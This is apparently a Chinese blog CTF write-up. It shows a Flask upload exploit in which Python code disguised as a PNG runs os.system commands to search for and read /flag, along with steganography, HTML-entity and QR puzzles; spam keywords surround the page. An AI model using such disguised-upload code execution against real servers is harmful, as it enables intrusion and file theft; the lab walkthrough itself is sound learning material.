最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

ctf2

2022-11-11 10:53 作者:溫柔的煙火  | 我要投稿



Flask_FileUpload

F12發(fā)現(xiàn)只能上傳,jpg,png文件,

可以看到

且給出提示,python 的文件

<!-- Give me the file, and I will return the Running results by python to you! -->

確實(shí)應(yīng)該想到寫一個(gè)python然后在重名為png格式提交

但是即便這樣可能寫代碼還是不知道寫什么上去

import os

os.system('find /* | grep flag')


解釋:

os 是python 的一個(gè)頭文件,主要操作文件,文件夾


下面列出一些函數(shù):

os.getcwd()? ?獲取當(dāng)前工作的路徑

os.listdir(path)?傳入任意一個(gè)path路徑,返回的是該路徑下所有文件和目錄組成的列表

os.walk(path)? 傳入任意一個(gè)path路徑,深層次遍歷指定路徑下的所有子文件夾,返回的是一個(gè)由路徑、文件夾列表、文件列表組成的元組。

os.mkdir(path) 傳入路徑創(chuàng)建文件夾

os.rmdir(path)? ?傳入一個(gè)path路徑,刪除指定路徑下的文件夾

os的system原理:

?system函數(shù)可以將字符串轉(zhuǎn)化成命令在服務(wù)器上運(yùn)行;其原理是每一條system函數(shù)執(zhí)行時(shí),其會(huì)創(chuàng)建一個(gè)子進(jìn)程在系統(tǒng)上執(zhí)行命令行,子進(jìn)程的執(zhí)行結(jié)果無法影響主進(jìn)程

用來解釋命令很合適,find /* | grep flag? ? 表示在根目錄下,通過管道來尋找有關(guān)flag的目錄文件


可以看到

<!-- /flag

/proc/sys/kernel/acpi_video_flags

/proc/sys/kernel/sched_domain/cpu0/domain0/flags

/proc/sys/kernel/sched_domain/cpu0/domain1/flags

/proc/sys/kernel/sched_domain/cpu1/domain0/flags

/proc/sys/kernel/sched_domain/cpu1/domain1/flags

/proc/sys/kernel/sched_domain/cpu2/domain0/flags

/proc/sys/kernel/sched_domain/cpu2/domain1/flags

/proc/sys/kernel/sched_domain/cpu3/domain0/flags

/proc/sys/kernel/sched_domain/cpu3/domain1/flags

/proc/kpageflags

/sys/devices/pnp0/00:04/tty/ttyS0/flags

/sys/devices/pnp0/00:05/tty/ttyS1/flags

/sys/devices/virtual/net/lo/flags

/sys/devices/virtual/net/eth0/flags

/sys/devices/platform/serial8250/tty/ttyS2/flags

/sys/devices/platform/serial8250/tty/ttyS3/flags

/sys/module/scsi_mod/parameters/default_dev_flags -->

大致會(huì)出來這些東西,然后看到/flag

寫一個(gè)os.system('cat /flag')即可繼續(xù)提交

看到

flag

就可以了





簡單的圖片

下載后,用記事本打開,

&amp;#107;&amp;#101;&amp;#121;&amp;#123;&amp;#121;&amp;#111;&amp;#117;&amp;#32;&amp;#97;&amp;#114;&amp;#101;&amp;#32;&amp;#114;&amp;#105;&amp;#103;&amp;#104;&amp;#116;&amp;#125



而&amp;#xxx; 著名的html實(shí)體編碼所以接下來在改成html

打開之后可得

這個(gè)就是,不能老想是flag,這個(gè)key也是頭,當(dāng)然他題目也有提示




隱寫

給了這么一個(gè)圖片,讓你找flag

我看到預(yù)覽圖后面確實(shí)有字,但是打開之后就沒了

差不多可以看到

一般我們會(huì)想到圖片的高度的問題

使用的工具一般提及的是

winhex以及tweakpng

這兩個(gè)工具,下載的話,網(wǎng)上搜索的話是很容易的,當(dāng)然我還留著的話你問我我可以給的


那么怎么寫這個(gè)題呢,我第一開始的思路,是換成文本看看

發(fā)現(xiàn)并沒有什么可以看到的有用的信息,基本是亂碼

那么評(píng)論說使用winhex看看,我試試


WinHex打開圖片,“89504E0D0A1A0A”說明這是PNG圖片,“0000000D”表示IHDR頭部是13個(gè)字節(jié),“000001F4”是寬度,“000001A4”是高度(以像素為單位),修改A4為F4,保存查看圖片


修改



修改之后就有了

看到字出來

補(bǔ)充:

winhex到底是這個(gè)什么工具呢,能干設(shè)么呢

看二進(jìn)制數(shù)據(jù)的

可能有部分的數(shù)據(jù)損壞了,對(duì)其二進(jìn)制數(shù)據(jù)進(jìn)行修改可以修復(fù)或者有不一樣的效果



圖像二進(jìn)制文件在表達(dá)什么:


直接看博客學(xué)習(xí)就好,了解

給出一些例子

2.2.1、第0行開始:

轉(zhuǎn)載


文件署名域:開頭"8950 4e47 0d0a 1a0a"固定數(shù)據(jù)表示文件格式是PNG ;


第一個(gè)數(shù)據(jù)塊:文件頭數(shù)據(jù)塊IHDR(含有PNG文件中存儲(chǔ)的圖像數(shù)據(jù)基本信息,是關(guān)鍵數(shù)據(jù)塊):


Length:前4個(gè)字節(jié)"0000 000d"代表IHDR塊長度為13字節(jié)(可變);


Chunk Type Code:固定4個(gè)字節(jié)數(shù)據(jù)為"4948 4452"(為IHDR標(biāo)識(shí),該ASCII碼代表英文字符"IHDR");


Chunk Data:IHDR數(shù)據(jù)塊的具體內(nèi)容如下:

0000 04D0圖像的寬,1232像素

0000 0404圖像的高,1028像素

08 表示色深,這里是2^8=256,即這是一個(gè)256色的圖像

00 顏色類型,查表可知這是灰度圖像

00 PNG Spec規(guī)定此處總為0(非0值為將來使用更好的壓縮方法預(yù)留),表示使壓縮方法(LZ77派生算法)

00 同上

00 非隔行掃描

可知總長度正好是13字節(jié)。

CRC校驗(yàn)碼:最后4個(gè)字節(jié)為:9E F6 B9 00?


2.2.2、第20行,offset=01開始:tIME數(shù)據(jù)塊(輔助數(shù)據(jù)塊),包含文件最后修改時(shí)間信息;只需該知道數(shù)據(jù)塊長度為7,數(shù)據(jù)塊類型碼為"74 49 4D 45",跳過7(data)+ 4(CRC)個(gè)字節(jié)后是新的數(shù)據(jù)塊IDAT;

轉(zhuǎn)載



2.2.3、第30行,offset=04開始:IDAT數(shù)據(jù)塊(關(guān)鍵數(shù)據(jù)塊),包含最重要的圖像實(shí)際內(nèi)容。長度為"00 00 20 00",8192個(gè)字節(jié);數(shù)據(jù)塊類型碼為"49 44 41 54";注意由于圖片總共有1232x1028個(gè)像素,每個(gè)像素占1字節(jié),因此應(yīng)當(dāng)有1232x1028/8192 = 155 個(gè)IDAT數(shù)據(jù)塊,每個(gè)數(shù)據(jù)塊后都有4個(gè)字節(jié)的CRC校驗(yàn)碼;


2.2.4、第33029行,offset=02開始:實(shí)際數(shù)據(jù)長度為0的IEND數(shù)據(jù)塊(關(guān)鍵數(shù)據(jù)塊),代表文件內(nèi)容的結(jié)束,通常固定為"00 00 00 00 (數(shù)據(jù)塊長度)49 45 4E 44(數(shù)據(jù)塊類型碼) AE 42 60 82(CRC)"。PS:在IEND塊后面添加任何的字符都不會(huì)對(duì)文件打開造成影響。

轉(zhuǎn)載

3.bmp格式

注意:文件中所有數(shù)據(jù)都是以字節(jié)為單位,低位在前,讀實(shí)際數(shù)據(jù)時(shí)需要以字節(jié)為單位反序讀取。

轉(zhuǎn)載

數(shù)據(jù)段名稱 大?。˙yte)

bmp文件頭 14

bmp信息頭 40

調(diào)色板信息 由顏色索引數(shù)決定

位圖數(shù)據(jù)(有效數(shù)據(jù)) 由圖像真實(shí)分辨率決定

bmp文件頭數(shù)據(jù)結(jié)構(gòu):


bmp信息頭數(shù)據(jù)結(jié)構(gòu):


文件中具體內(nèi)容:

轉(zhuǎn)載

在讀取真實(shí)像素?cái)?shù)據(jù)時(shí),參數(shù)bfOffbits是最重要的,能快速定位數(shù)據(jù)所在位置,這對(duì)于實(shí)際應(yīng)用來說最直截了當(dāng)。如圖中地址偏移量(紅色框)實(shí)際為0x00_00_04_36 = 1078d,水平方向像素個(gè)數(shù)為0x00_00_04_D0 = 1232d,垂直方向像素個(gè)數(shù)為0x00_00_04_04 = 1028d,灰度圖位深為8,符合要求-》https://blog.csdn.net/swordjun/article/details/108667926





1和0 的故事

給的是一個(gè)文本文件

如圖所示,給的文件

首先我想的是看看圖片文件如何

是破損的文件,不太適合,畢竟都是0和1,二進(jìn)制文件?

評(píng)論說放在excel里面,我試試(還有說用python暫時(shí)不研究,不夠都挺神奇的)

數(shù)據(jù)是25行25列? -》想到二維碼

以字符串的形式放在excel里面

那么使用excel的一些方法將睡著分裂

點(diǎn)點(diǎn)就可以分開,這個(gè)方法在導(dǎo)航欄里面,選數(shù)據(jù),再選分裂列
設(shè)置行高,列寬

然后設(shè)置行高15.1,列寬2

替換

使用ctrl+H? 替換


填充結(jié)果
查找所有1

使用查找的時(shí)候,在下拉框中選中所有,即可定位所有的1


然后將選中的1替換背景為黑色

如圖:

如圖

這里如果有左上角的綠三角的話,一般是類型錯(cuò)誤,可以全選然后忽略就好

然后就可以掃碼了,如果不可以掃的話,那么你可以試試調(diào)整行高

二維碼是怎么生成:

二維碼原理:


ctf2的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國家法律
抚顺县| 青川县| 游戏| 新干县| 萍乡市| 溧阳市| 定襄县| 报价| 垫江县| 定南县| 邢台市| 左贡县| 来凤县| 长春市| 安宁市| 洞口县| 扎兰屯市| 台南市| 博白县| 徐水县| 安丘市| 叶城县| 临朐县| 合江县| 垣曲县| 东阿县| 临洮县| 罗定市| 特克斯县| 兴国县| 安义县| 临泉县| 宝兴县| 峨山| 宁波市| 玉林市| 武山县| 资溪县| 旺苍县| 岚皋县| 健康|